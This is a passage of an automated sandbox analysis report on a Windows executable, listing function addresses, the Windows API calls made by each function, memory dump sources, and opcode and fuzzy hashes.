Instruction Fuzzy Hash: F7F08272A0063067EB60596A4C81B5359859BC5B94F154076FD09FF3E9D6B58C0142A9

Function 004085CC Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,00408702), ref: 004085EB

Part of subcall function 00406DDC: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00406DF9

Part of subcall function 00408558: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049B4C0,00000001,?,00408623,?,00000000,00408702), ref: 00408576

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID:
API String ID: 1658689577-0
Opcode ID: e0f2d7fee364d4b50c904546fee583fee48e6df64a24fbccf64ec24177fbbbf9
Instruction ID: bd6209dc85efa73f9a721b4ecfe58d49d0953a842630d38ee12c0cb785ae99e6
Opcode Fuzzy Hash: e0f2d7fee364d4b50c904546fee583fee48e6df64a24fbccf64ec24177fbbbf9
Instruction Fuzzy Hash: 1E314075E0011D9BCB01EF95C8819EEB779EF84314F518577E819BB386E738AE018B98

Function 0041FB94 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

SetScrollInfo.USER32(00000000,?,?,00000001), ref: 0041FC31

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: InfoScroll
String ID:
API String ID: 629608716-0
Opcode ID: cabb8c3e19a8a88e92d5d776e573f6eee413a8791bccb1521323fae2b782b601
Instruction ID: d0a12eb0c5d8f31e5c98d8a2781f1eb62c39d12b06d2a108fd5dac4500059ce8
Opcode Fuzzy Hash: cabb8c3e19a8a88e92d5d776e573f6eee413a8791bccb1521323fae2b782b601
Instruction Fuzzy Hash: C02130B16087466FC340DF39C5447A6BBE4BB88304F04893EA498C3741E778E996CBD6

Function 0046C270 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0041EE9C: GetCurrentThreadId.KERNEL32 ref: 0041EEEB
Part of subcall function 0041EE9C: 73A25940.USER32(00000000,0041EE4C,00000000,00000000,0041EF08,?,00000000,0041EF3F,?,0042EEA8,?,00000001), ref: 0041EEF1

SHPathPrepareForWriteA.SHELL32(00000000,00000000,00000000,00000000,00000000,0046C2CE,?,00000000,?,?,0046C4E0,?,00000000,0046C554), ref: 0046C2B2

Part of subcall function 0041EF50: IsWindow.USER32(?), ref: 0041EF5E
Part of subcall function 0041EF50: EnableWindow.USER32(?,00000001), ref: 0041EF6D

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$A25940CurrentEnablePathPrepareThreadWrite
String ID:
API String ID: 390483697-0
Opcode ID: 1950fa63623794e8b6cf7dfe712e88d918e2b7d9557fc3b7505cef75313acc34
Instruction ID: 435c92a82c98609a262d66890dafa743f24e5c1e823ccadb8e8beb41f7667319
Opcode Fuzzy Hash: 1950fa63623794e8b6cf7dfe712e88d918e2b7d9557fc3b7505cef75313acc34
Instruction Fuzzy Hash: 95F059B1288300BFE7049BF2ECA6B2577E9E318720F510477F904821C0E5B95800C51E

Function 0044138C Relevance: 1.5, APIs: 1, Instructions: 36fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 004413A3

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
Instruction ID: bbd698397dbc8f39e4f55c310c3945233451addb9156919cc96357002ab2f652
Opcode Fuzzy Hash: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
Instruction Fuzzy Hash: 66F06271614109DBBB1CCF58D1519AF7BA0EB44310B20406FF907C7BA0E6346E90DA58

Function 00416548 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(?,?,?,?,?,?,?,?,?,00000000,00400000,?), ref: 0041657D

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: b152e844846ae8a52721441d180559fdf16f7956a15d86c9ff4cf0dcda8b9698
Instruction ID: 158b8484bb218b41c698b3aa21f26e2dd86497bc01e640ef524e7c8f4c0ee3c6
Opcode Fuzzy Hash: b152e844846ae8a52721441d180559fdf16f7956a15d86c9ff4cf0dcda8b9698
Instruction Fuzzy Hash: 4BF019B2200510AFDB84DE9CD9C0F9773ECEB0C210B0481A6FA08CB21AD220EC108BB0

Function 004149AC Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 004149E7

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
Instruction ID: 59ac3629b8f45f7a6bca1b57e2bf54285868c68ba6336e642f1ef9b7bb8d2b05
Opcode Fuzzy Hash: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
Instruction Fuzzy Hash: B2F0DA762042019FC740DF6CC8C488A77E5FF89255B5546A9F989CB356C731EC54CB91

Function 00450798 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 004507D8

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fdd558c29566e738fcbdedabbf129a38e9c66ac316c6ebf650c30ee427f19e4e
Instruction ID: 52eb814c7c241dc182afdc6c3e242d4e4c9a4e6d94000e289351c80ae23ff87c
Opcode Fuzzy Hash: fdd558c29566e738fcbdedabbf129a38e9c66ac316c6ebf650c30ee427f19e4e
Instruction Fuzzy Hash: 53E012B53541483EE780EEAD6C42F9777DC971A714F008037B998D7341D461DD158BA8

Function 0042CCC4 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,0042CD0C,?,00000001,?,?,00000000,?,0042CD5E,00000000,004529F9,00000000,00452A1A,?,00000000), ref: 0042CCEF

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 416bf2ec68b95bcc5af0582ff2491831708fe8216b24dbe794372527742e75b2
Instruction ID: 6c88cd9b3502ecc0d8ec22600fa2d9d68314b02b8b7bc0d4dcd5a0b3e687a907
Opcode Fuzzy Hash: 416bf2ec68b95bcc5af0582ff2491831708fe8216b24dbe794372527742e75b2
Instruction Fuzzy Hash: 62E0E570300304BFDB01EB62AC82A5EBFECDB45704BA14876B400A7242D5785E008418

Function 0042E8C0 Relevance: 1.5, APIs: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00453247,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E8DF

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: e6d3d52e8f4f63ecf0b34621506695ba35df63bdde710507be70f7165fd629ff
Instruction ID: 2ce6c9ff4e19e0960d9753b9113d8e2cc47385edbc752d5ed3014e636873cb34
Opcode Fuzzy Hash: e6d3d52e8f4f63ecf0b34621506695ba35df63bdde710507be70f7165fd629ff
Instruction Fuzzy Hash: 90E0D86178831116F23535566C43B77150E4380708F9840277B809E3D3D6AE9905A25E

Function 004062E8 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000000,00423674,00000000,94CA0000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C04), ref: 00406311

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: ff94722aa4050723ad3f6c96c0112c9f8192a5aa4540eb1f1ae13447e7542d04
Instruction ID: 53e57476791a39574122dfc8a3f58f2f78c4a621b5a82e38d1c80b15216a1e52
Opcode Fuzzy Hash: ff94722aa4050723ad3f6c96c0112c9f8192a5aa4540eb1f1ae13447e7542d04
Instruction Fuzzy Hash: EEE0FEB2214209BBDB00DE8ADCC1DABB7ACFB4C654F808105BB1C972428275AC608B71

Function 0042DDDC Relevance: 1.5, APIs: 1, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DE08

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a2fa4b3b70172a899a44371cb6cb166e106d6f14f5a748d009f698e06f133ef9
Instruction ID: bece317731ff8cd2e666e34543c7a68b5f38d577bb060a1f695f350ce1c31ea4
Opcode Fuzzy Hash: a2fa4b3b70172a899a44371cb6cb166e106d6f14f5a748d009f698e06f133ef9
Instruction Fuzzy Hash: 46E07EB2610129AFDB40DE8CDC81EEB37ADAB1D350F404016FA08D7200C274EC519BB4

Function 00454BCC Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(00000000,000000FF,0047078C,00000000,00471588,?,00000000,004715D1,?,00000000,0047170A,?,00000000,?,00000000), ref: 00454BE2

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 06d429211cbdde73cb23459f0bbdb60b04e95dac6161286f70ab338dbad9895d
Instruction ID: 5b38ea55cb3c31d0920dcaeaf3b0ab9c64c5d1fc8265480bc1e0bc694521aac9
Opcode Fuzzy Hash: 06d429211cbdde73cb23459f0bbdb60b04e95dac6161286f70ab338dbad9895d
Instruction Fuzzy Hash: C3E092B0A056008BCB14DF3A898031A7AD29FC9324F04C56AEC9CCF3D7E63DC8594A27

Function 00414674 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00494EF2,?,00494F14,?,?,00000000,00494EF2,?,?), ref: 00414693

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
Instruction ID: 3a83c41fa5c3d176b15f2666d2672a78f9af76d4247255e2ff0bda4df6ea0631
Opcode Fuzzy Hash: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
Instruction Fuzzy Hash: 59E012723001199F8250CE5EDC88C57FBEDEBC966130983A6F508C7306DA31EC44C7A0

Function 00406F00 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00406F14

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 5f93265df2524d0dcc0c9b34101366d534c30ce5f0cb0d235cb6b24d2b8f20db
Instruction ID: cfde3e3822fa8edba560b3c3045b88a59d445a8db7eea6df610edd37a4bd72e7
Opcode Fuzzy Hash: 5f93265df2524d0dcc0c9b34101366d534c30ce5f0cb0d235cb6b24d2b8f20db
Instruction Fuzzy Hash: A3D012722081516AD220965AAC44EAB6BDCCBC5770F11063AB558C2181D7609C01C675

Function 00423644 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004235F0: SystemParametersInfoA.USER32(00000048,00000000,00000000,00000000), ref: 00423605

ShowWindow.USER32(00410648,00000009,?,00000000,0041ED9C,00423932,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C04), ref: 0042365F

Part of subcall function 00423620: SystemParametersInfoA.USER32(00000049,00000000,00000000,00000000), ref: 0042363C

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: InfoParametersSystem$ShowWindow
String ID:
API String ID: 3202724764-0
Opcode ID: fce0b26c2d9ed10aeec85bb6dc1e2ec36172a6d8969be9752991d6a22a5a0e05
Instruction ID: ebc5fdb8686796c5fd5eba84b5ab6671b787b6de9fbea9510ee25edb69bb1d0b
Opcode Fuzzy Hash: fce0b26c2d9ed10aeec85bb6dc1e2ec36172a6d8969be9752991d6a22a5a0e05
Instruction Fuzzy Hash: 7CD05E123412703182307ABB384598B46AC8D922A6749043BB4448B347ED5DCE1110BC

Function 004242BC Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(?,00000000), ref: 004242D4

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 63c2204a93b3ceeccd91b68fb1f2f63f98ac991c37a9674dd692e28dceb45842
Instruction ID: 82e7bab73c65a9778cea5b734bd50d71f4a8736701fc7bbe01534373bbdf07f9
Opcode Fuzzy Hash: 63c2204a93b3ceeccd91b68fb1f2f63f98ac991c37a9674dd692e28dceb45842
Instruction Fuzzy Hash: 0BD05BE27011205BC701BAED54C4AC667CC4B4925671440BBF904EF257D638CD514398

Function 00466968 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,00467650,00000000,00000000,00000000,0000000C,00000000), ref: 00466980

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
Instruction ID: a3a9c25b9c80179eca176ae0059a0aa24e3542550d9dc9bac8dced773014ab2a
Opcode Fuzzy Hash: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
Instruction Fuzzy Hash: 0ED09272210A109F8364CAADC9C4C97B3ECEF4C2213004659E54AC3B15D664FC018BA0

Function 0042CD1C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,0045159F,00000000), ref: 0042CD27

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a20a0933f9adf495ad294cc7f43800295bba8e01ea8a7e04e2e8fcb3411a2c60
Instruction ID: 582242be021ecdaa9f487f520a6273a00fb8a2f6ff7a96cbd182f7b59f56d267
Opcode Fuzzy Hash: a20a0933f9adf495ad294cc7f43800295bba8e01ea8a7e04e2e8fcb3411a2c60
Instruction Fuzzy Hash: 9EC08CE03222101A9E1069BD2CC521F46C8891823A3A41E3BB528E72D2E23D88262818

Function 00406EB0 Relevance: 1.5, APIs: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,0040A8BC,0040CE68,?,00000000,?), ref: 00406ECD

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 434cd2ceddc45fc6059baf9bd558cd456b1210cf1f9af3b638900e146cb02294
Instruction ID: fbce42704b7dd2fd8be74a622cf743b4adaa06f64be9adac3ea2875d17ee2119
Opcode Fuzzy Hash: 434cd2ceddc45fc6059baf9bd558cd456b1210cf1f9af3b638900e146cb02294
Instruction Fuzzy Hash: EAC048A13C130032F92035A60C87F16008C5754F0AE60C43AB740BF1C2D8E9A818022C

Function 00450900 Relevance: 1.5, APIs: 1, Instructions: 11fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNEL32(?,?,0045C162,00000000,0045C2ED,?,00000000,00000002,00000002), ref: 00450907

Part of subcall function 00450688: GetLastError.KERNEL32(004504A4,0045074A,?,00000000,?,00497338,00000001,00000000,00000002,00000000,00497499,?,?,00000005,00000000,004974CD), ref: 0045068B

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
